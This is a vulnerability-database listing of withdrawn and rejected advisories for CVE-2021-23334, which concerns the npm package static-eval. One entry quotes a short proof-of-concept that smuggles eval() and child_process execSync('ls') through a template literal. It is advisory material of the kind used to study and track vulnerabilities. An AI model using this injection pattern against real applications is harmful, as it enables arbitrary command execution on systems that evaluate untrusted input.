Most recent entries from all

bdu:2021-02844

fkie_cve-2021-23334

Rejected reason: DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: none. Reason: This candidate was withdrawn by its CNA. Further investigation showed that it was not a security issue. Notes: none

Withdrawn: GHSA-8v27-2fg9-7h62 — Withdrawn: Arbitrary Code Execution in static-eval

Withdrawn by the publisher.

Affected: npm: static-eval

All versions of package static-eval are vulnerable to Arbitrary Code Execution using FunctionExpressions and TemplateLiterals. PoC: var evaluate = require('static-eval'); var parse = require('esprima').parse; var src="(function (x) { return ${eval("console.log(global.process.mainModule.constructor._load('child_process').execSync('ls').toString())")} })()" var ast = parse(src).body[0].expression; evaluate(ast)

# WITHDRAWN

This was deemed not a vulnerability. See [this issue](https://github.com/browserify/static-eval/issues/34) for details.

gsd-2021-23334

Withdrawn: UBUNTU-CVE-2021-23334

Withdrawn by the publisher.

Affected: Ubuntu:Pro:18.04:LTS: node-static-eval, Ubuntu:Pro:20.04:LTS: node-static-eval

** REJECT ** DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: none. Reason: This candidate was withdrawn by its CNA. Further investigation showed that it was not a security issue. Notes: none.